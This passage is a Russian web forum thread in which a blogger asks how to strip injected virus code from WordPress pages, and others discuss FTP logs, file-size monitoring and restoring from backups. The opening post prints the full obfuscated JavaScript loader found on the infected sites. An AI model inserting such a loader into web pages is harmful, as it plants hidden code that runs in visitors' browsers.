Вырезать код вируса со всех страниц WP

gasyoun · 2008-01-27T12:18:04.0000000Z

Ребята, На хостинге на всех моих 20 блогах внизу каждого приписано: <script>document.write(unescape("%3Cscript%3Efunction%20d4vgsr%28z1a4zs%29%7Bvar%20obd9s7%3Dnew%20String%28arguments.callee%29%3Bobd9s7%3Dobd9s7.replace%28/%5B%5Ea-z0-9%28%29+_%5Czo62%3D%27%zs%569%2C29550%2C2956%2C29562%2C29544%2C29536%2C29536%2C29564%2C29495%2C29457%2C29473%2C29516%2C29544%2C29459%2C29446%2C29441%2C29446%2C29440%2C29553%2C29556%2C29544%2C29456%2C29554%2C29473%2C29561%2C29479%2C29549%2C29502%2C29553%2C29536%2C29547%2C29440%2C29557%2C29567%2C29561%2C29539%2C29488%2C29545%2C29440%2C29565%2C29549%2C29562%2C29514%2C29482%2C29520%2C29564%2C29549%2C29554%2C29454%2C29494%2C29520%2C29463%2C29542%2C29562%2C29554%2C29481%2C29496%2C29496%2C29493%2C29523%2C29545%2C29526%2C29482%2C29515%2C29524%2C29534%2C29532%2C29456%2C29471%2C29536%2C29452%2C29513%2C29514%2C29535%2C29562%2C29544%2C29466%2C29470%2C29515%2C29485%2C29501%2C29486%2C29558%2C29446%2C29460%2C29440%2C29457%2C29459%2C29564%2C29558%2C29466%2C29441%2C29529%2C29547%2C29448%2C29538%2C29524%2C29562%2C29453%2C29440%2C29470%2C29540%2C29499%2C29470%2C29564%2C29539%2C29551%2C29509%2C29460%2C29552%2C29539%2C29546%2C29565%2C29448%2C29479%2C29462%2C29541%2C29546%2C29478%2C29483%2C29542%2C29553%2C29442%2C29550%2C29498%2C29546%2C29468%2C29538%2C29553%2C29536%2C29546%2C29506%2C29453%2C29446%2C29561%2C29450%2C29506%2C29492%2C29469%2C29537%2C29536%2C29445%2C29542%2C29545%2C29460%2C29461%2C29547%2C29557%2C29504%2C29560%2C29469%2C29463%2C29542%2C29561%2C29563%2C29520%2C29536%2C29563%2C29447%2C29443%2C29545%2C29519%2C29514%2C29520%2C29460%2C29565%2C29537%2C29545%2C29567%2C29563%2C29558%2C29470%2C29500%2C29559%2C29566%2C29455%2C29549%2C29504%2C29525%2C29550%2C29554%2C29558%2C29564%2C29565%2C29501%2C29458%2C29460%2C29459%2C29556%2C29566%2C29445%2C29469%2C29541%2C29468%2C29549%2C29469%2C29527%2C29454%2C29519%2C29501%2C29562%2C29548%2C29444%2C29496%2C29481%2C29559%2C29539%2C29552%2C29514%2C29506%2C29475%2C29517%2C29554%2C29497%2C29542%2C29447%2C29557%2C29502%2C29555%2C29442%2C29540%2C29472%2C29467%2C29554%2C29545%2C29493%2C29528%2C29550%2C29543%2C29565%2C29509%2C29503%2C29497%2C29554%2C29447%2C29444%2C29476%2C29467%2C29536%2C29567%2C29473%2C29483%2C29491%2C29495%2C29488%2C29486%2C29503%2C29493%2C29530%2C29482%2C29535%2C29489%2C29496%2C29489%2C29526%2C29494%2C29466%2C29471%2C29547%2C29566%2C29558%2C29554%2C29563%2C29543%2C29446%2C29554%2C29562%2C29549%2C29489%2C29441%2C29543%2C29443%2C29470%2C29537%2C29547%2C29497%2C29493%2C29487%2C29543%2C29458%2C29548%2C29558%2C29514%2C29503%2C29482%2C29502%2C29514%2C29512%2C29522%2C29534%2C29496%2C29558%2C29545%2C29546%2C29561%2C29540%2C29562%2C29494%2C29548%2C29550%2C29471%2C29470%2C29463%2C29473%2C29487%2C29473%2C29483%2C29488%2C29474%2C29503%2C29545%2C29561%2C29540%2C29444%2C29467%2C29461%2C29563%2C29490%2C29483%2C29490%2C29502%2C29500%2C29457%2C29491%2C29565%2C29563%2C29521%2C29525%2C29511%2C29513%2C29565%2C29546%2C29565%2C29553%2C29561%2C29531%2C29483%2C29480%2C29500%2C29465%2C29471%2C29440%2C29471%2C29463%2C29457%2C29551%2C29511%2C29466%2C29560%2C29448%2C29554%2C29446%2C29542%2C29551%2C29565%2C29460%2C29449%2C29531%2C29555%2C29440%2C29557%2C29554%2C29446%2C29560%2C29551%2C29560%2C29492%2C29475%2C29503%2C29444%2C29565%2C29442%2C29462%2C29539%2C29559%2C29562%2C29554%2C29479%2C29498%2C29567%2C29451%2C29466%2C29457%2C29465%2C29440%2C29461%2C29538%2C29549%2C29553%2C29548%2C29563%2C29540%2C29552%2C29493%2C29486%2C29533%2C29544%2C29542%2C29553%2C29562%2C29555%2C29462%2C29553%2C29560%2C29487%2C29559%2C29442%2C29446%2C29465%2C29558%2C29545%2C29487%2C29565%2C29443%2C29453%2C29560%2C29558%2C29530%2C29566%2C29479%2C29542%2C29564%2C29564%2C29548%2C29505%2C29550%2C29555%2C29543%2C29538%2C29466%2C29540%2C29476%2C29563%2C29442%2C29540%2C29480%2C29529%2C29485%2C29501%2C29492%2C29491%2C29497%2C29492%2C29506%2C29564%2C29444%2C29564%2C29549%2C29474%2C29547%2C29536%2C29542%2C29561%2C29564%2C29561%2C29477%2C29563%2C29541%2C29545%2C29547%2C29503%2C29502%2C29480%2C29490%2C29480%2C29528%2C29481%2C29491%2C29484%2C29466%2C29460%2C29463%2C29455%2C29496%2C29460%2C29461%2C29547%2C29551%2C29449%2C29536%2C29535%2C29549%2C29443%2C29541%2C29449%2C29472%2C29531%2C29522%2C29483%2C29485%2C29498%2C29566%2C29547%2C29469%2C29561%2C29442%2C29544%2C29444%2C29464%2C29514%2C29530%2C29567%2C29562%2C29453%2C29454%2C29562%2C29564%2C29561%2C29467%2C29546%2C29462%2C29440%2C29525%2C29547%2C29560%2C29542%2C29494%2C29551%2C29553%2C29546%2C29549%2C29559%2C29549%2C29552%2C29447%2C29532%2C29467%2C29559%2C29454%2C29559%2C29539%2C29564%2C29453%2C29445%2C29529%2C29545%2C29564%2C29465%2C29536%2C29489%2C29500%2C29542%2C29565%2C29462%2C29445%2C29555%2C29553%2C29465%2C29468%2C29445%2C29542%2C29487%2C29485%2C29539%2C29542%2C29549%2C29467%2C29479%2C29499%2C29478%2C29524%2C29485%2C29489%2C29481%2C29479%2C29500%2C29448%2C29446%2C29540%2C29519%2C29526%2C29490%2C29492%2C29515%2C29517%2C29484%2C29459%2C29544%2C29497%2C29563%2C29454%2C29536%2C29516%2C29512%2C29482%2C29502%2C29490%2C29545%2C29537%2C29559%2C29546%2C29554%2C29445%2C29444%2C29545%2C29451%2C29527%2C29529%2C29522%2C29495%2C29487%2C29566%2C29539%2C29563%2C29546%2C29534%2C29555%2C29564%2C29547%2C29488%2C29545%2C29442%2C29457%2C29515%2C29543%2C29544%2C29536%2C29558%2C29555%2C29495%2C29495%2C29498%2C29493%2C29523%2C29480%2C29491%2C29509%2C29514%2C29479%2C29519%2C29459%2C29446%2C29466%2C29491%2C29542%2C29548%2C29443%2C29556%2C29452%2C29557%2C29554%2C29493%2C29514%2C29508%2C29507%2C29491%2C29559%2C29498%2C29551%2C29522%2C29484%2C29523%2C29492%2C29506%2C29532%2C29479%2C29529%2C29488%2C29488%2C29490%2C29493%2C29473%2C29537%2C29565%2C29469%2C29562%2C29558%2C29558%2C29447%2C29520%2C29528%2C29533%2C29521%2C29492%2C29474%2C29485%2C29503%2C29499%2C29502%2C29489%2C29472%2C29473%2C29514%2C29489%2C29519%2C29475%2C29478%2C29498%2C29517%2C29501%2C29495%2C29537%2C29450%2C29470%2C29537%2C29491%2C29567%2C29559%2C29471%2C29509%2C29557%2C29559%2C29563%2C29489%2C29564%2C29470%2C29468%2C29542%2C29545%2C29489%2C29473%2C29487%2C29474%2C29523%2C29475%2C29501%2C29512%2C29492%2C29473%2C29500%2C29443%2C29442%2C29467%2C29446%2C29494%2C29563%2C29557%2C29562%2C29548%2C29492%2C29492%2C29502%2C29550%2C29543%2C29466%2C29464%2C29532%2C29560%2C29550%2C29566%2C29539%2C29481%2C29460%2C29461%2C29445%2C29564%2C29496%2C29536%2C29539%2C29561%2C29551%2C29546%2C29565%2C29504%2C29556%2C29554%2C29457%2C29518%2C29565%2C29542%2C29567%2C29558%2C29556%2C29498%2C29491%2C29496%2C29554%2C29546%2C29552%2C29456%2C29558%2C29562%2C29555%2C29566%2C29502%2C29472%2C29471%2C29463%2C29457%2C29545%2C29542%2C29469%2C29563%2C29448%2C29541%2C29451%2C29542%2C29482%2C29552%2C29517%2C29505%2C29476%2C29489%2C29523%2C29538%2C29486%2C29514%2C29491%2C29498%2C29485%2C29478%2C29482%2C29483%2C29527%2C29502%2C29531%2C29517%2C29486%2C29567%2C29559%2C29567%2C29547%2C29558%2C29460%2C29478%2C29503%2C29514%2C29563%2C29495%2C29499%2C29516%2C29476%2C29492%2C29566%2C29537%2C29540%2C29502%2C29501%2C29561%2C29460%2C29566%2C29481%2C29563%2C29490%2C29486%2C29512%2C29503%2C29541%2C29473%2C29480%2C29517%2C29445%2C29513%2C29503%2C29541%2C29482%2C29503%2C29508%2C29513%2C29554%2C29477%2C29480%2C29563%2C29473%2C29537%2C29537%2C29559%2C29548%2C29467%2C29567%2C29500%2C29472%2C29508%2C29458%2C29557%2C29442%2C29492%2C29449%2C29549%2C29543%2C29469%2C29567%2C29490%2C29508%2C29557%2C29549%2C29559%2C29516%2C29562%2C29453%2C29563%2C29562%2C29539%2C29541%2C29479%2C29472%2C29490%2C29503%2C29500%2C29456%2C29492%2C29541%2C29561%2C29536%2C29553%2C29546%2C29565%2C29478%2C29476%2C29525%2C29481%2C29494%2C29495%2C29478%2C29495%2C29477%2C29567%2C29470%2C29456%2C29462%2C29456%2C29549%2C29464%2C29537%2C29547%2C29553%2C29506%2C29543%2C29527%2C29560%2C29443%2C29463%2C29558%2C29470%2C29463%2C29458%2C29539%2C29566%2C29456%2C29440%2C29536%2C29465%2C29526%2C29453%2C29523%2C29519%2C29520%2C29546%2C29456%2C29440%2C29526%2C29475%2C29512%2C29512%2C29468%2C29443%2C29460%2C29558%2C29559%2C29556%2C29551%2C29475%2C29495%2C29490%2C29496%2C29557%2C29478%2C29559%2C29469%2C29441%2C29443%2C29561%2C29441%2C29562%2C29503%2C29500%2C29529%2C29542%2C29565%2C29501%2C29500%2C29465%2C29559%2C29560%2C29557%2C29467%2C29443%2C29473%29%29%3C/script%3E"))</script> Как это автоматом отпарсить и убрать, заранее спасибо.

SL

0

ScriptsLab

1 февраля 2008, 08:59

#21

я видел два подобных случая.

по данным логов FTP-сервера инфицированные файлы залиты абсолютно без какого-либо криминала вместе с остальным контентом сайта вкупе. если это сделал хакер - толку ему обновлять гифы, txt и прочая?

кроме того - инфицированы совершенно произвольным образом php и html файлы. ну толку инфицировать Java-скриптом ботовую метку с рандомным именем? никто из клиентов ее никогда не увидит а боту она пофигу. да еще и работать перестанет - лишнее палево.

в то же время некоторые php файлы оставались чистыми.

На что вы ориентируетесь include в php большого Яндекс кобласит

786

Unlock

1 февраля 2008, 09:06

#22

Igor-san:
Можно и не нулевой файл index.htm (соответственно будет if ($fsize == ххх) ), главное, чтоб не изменялся.

Засада какая-то. Файл index.html размером 8573 байта, в скрипте сделал if ($fsize == 9573). После запуска скрипта ничего на мыло не свалилось. Хотя с условием if ($fsize > 0) все работало.

Есть желание, - тысяча способов; нет желания, - тысяча поводов! /Петр-I/.

165

Anryk

1 февраля 2008, 09:13

#23

Unlock:
Засада какая-то. Файл index.html размером 8573 байта, в скрипте сделал if ($fsize == 9573). После запуска скрипта ничего на мыло не свалилось. Хотя с условием if ($fsize > 0) все работало.

Так, а зачем "$fsize == 9573"? Тогда уж надо "$fsize > 8573".

Не время для смеха!

786

Unlock

1 февраля 2008, 09:19

#24

Anryk, как надо записать условие для любого изменения размера, как в большую, так и в меньшую сторону?

165

Anryk

1 февраля 2008, 09:37

#25

Unlock:
Anryk, как надо записать условие для любого изменения размера, как в большую, так и в меньшую сторону?

Можно так "$fsize <> 8573".

127

a.fatman

1 февраля 2008, 10:16

#26

$fsize != 8573

А к чему это все?

Почему нельзя воспользоваться популярными советами -- не хранить пароль в ftp-клиенте, пользоваться антивирусом, и т.п.?

Однажды была подобная проблема -- у клиента был ftp-доступ, и он заразил свой сайт.

Я поменял пароль на ftp, посмотрел на дату изменения файлов, и попросил хостера восстановить из бэкапа за предыдущий день.

Хитрый (или не очень) Блокировка 25 порта провайдером ISPmanager -> FastPanel простой

100

daykkin

1 февраля 2008, 10:57

#27

Бывают ситуации кражи паролей у хостера.. Причем, если подумать, бывают не редко..

Hakuna Matata! What a wonderful phrase. Hakuna Matata! Ain't no passing craze. It means no worries for the rest of your days, It's our problem-free, philosophy, Hakuna Matata! :)

165

Anryk

1 февраля 2008, 10:57

#28

a.fatman:

А к чему это все?

Потому что стопроцентной защиты не бывает, как на Вашей стороне, так и на стороне хостера, и важно вовремя засечь вирус. Несвоевременное принятие мер по излечению приводит к печальным последствиям для сайта.

786

Unlock

1 февраля 2008, 11:55

#29

a.fatman:

$fsize != 8573

А к чему это все?

Почему нельзя воспользоваться популярными советами -- не хранить пароль в ftp-клиенте, пользоваться антивирусом, и т.п.?

Однажды была подобная проблема -- у клиента был ftp-доступ, и он заразил свой сайт.
Я поменял пароль на ftp, посмотрел на дату изменения файлов, и попросил хостера восстановить из бэкапа за предыдущий день.

Потому что как минимум хуже не будет, а защита лишней не бывает, если она не переходит в паранойю.

Переиграть и победить: как анализировать конкурентов для продвижения сайта

Дзен реализовал для авторов возможность вывода денег через СПБ